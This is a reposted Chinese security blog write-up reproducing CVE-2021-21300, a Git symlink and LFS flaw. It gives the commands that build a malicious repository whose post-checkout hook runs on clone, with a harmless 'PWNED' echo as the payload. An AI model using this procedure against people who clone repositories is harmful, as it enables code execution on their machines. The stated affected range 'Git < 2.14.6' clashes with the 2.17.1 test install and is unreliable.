社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Git

CVE-2021-21300:Git符号链接代码执行漏洞复现

TimelineSec • 3 年前 • 427 次点击  


上方蓝色字体关注我们,一起学安全!
作者:Th1nk@Timeline Sec
本文字数:613
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负


0x01 简介


Git 是一个开源的分布式版本控制系统。是 Linus Torvalds 开发的一个开放源码的版本控制软件,采用了分布式版本库的方式,可以有效、高速地处理从很小到非常大的项目。


0x02 漏洞概述


编号:CVE-2021-21300

受影响版本的Git仓库中如果包含符号链接文件,可能会导致在不区分大小写的文件系统克隆时执行刚刚切换分支的脚本。攻击者利用此漏洞可以执行任意代码。


0x03 影响版本


Git < 2.14.6


0x04 环境搭建


1、Windows安装Git-2.17.1-64-bit

https://www.npackd.org/p/git64/2.17.1.2


2、在ubuntu构建恶意仓库并上传到github(执行的命令在第三行命令里)

git init delayed-checkout cd delayed-checkoutecho "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes && mkdir A && printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout && chmod +x A/post-checkout && >A/a && >A/b && git add -A && rm -rf A && ln -s .git/hooks a && git add a && git commit -m initial



git branch -M maingit remote add origin [自己的仓库地址]git push -u origin main



查看github仓库

校验各文件内容是否正确

如下显示:gitattributes



A/post-checkout(存储在Git LFS中)



0x05 漏洞复现


攻击测试

在win10提供的powershell(管理员)中执行命令如下:

git clone -c core.symlinks=true [自己的仓库地址]


clone后出现 PWNED 即为远程命令执行成功



0x06 修复方式




目前 Git 官方已发布更新修复了该漏洞,安全版本下载链接如下:

https://mirrors.edge.kernel.org/pub/software/scm/git/



阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行













Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/117806
 
427 次点击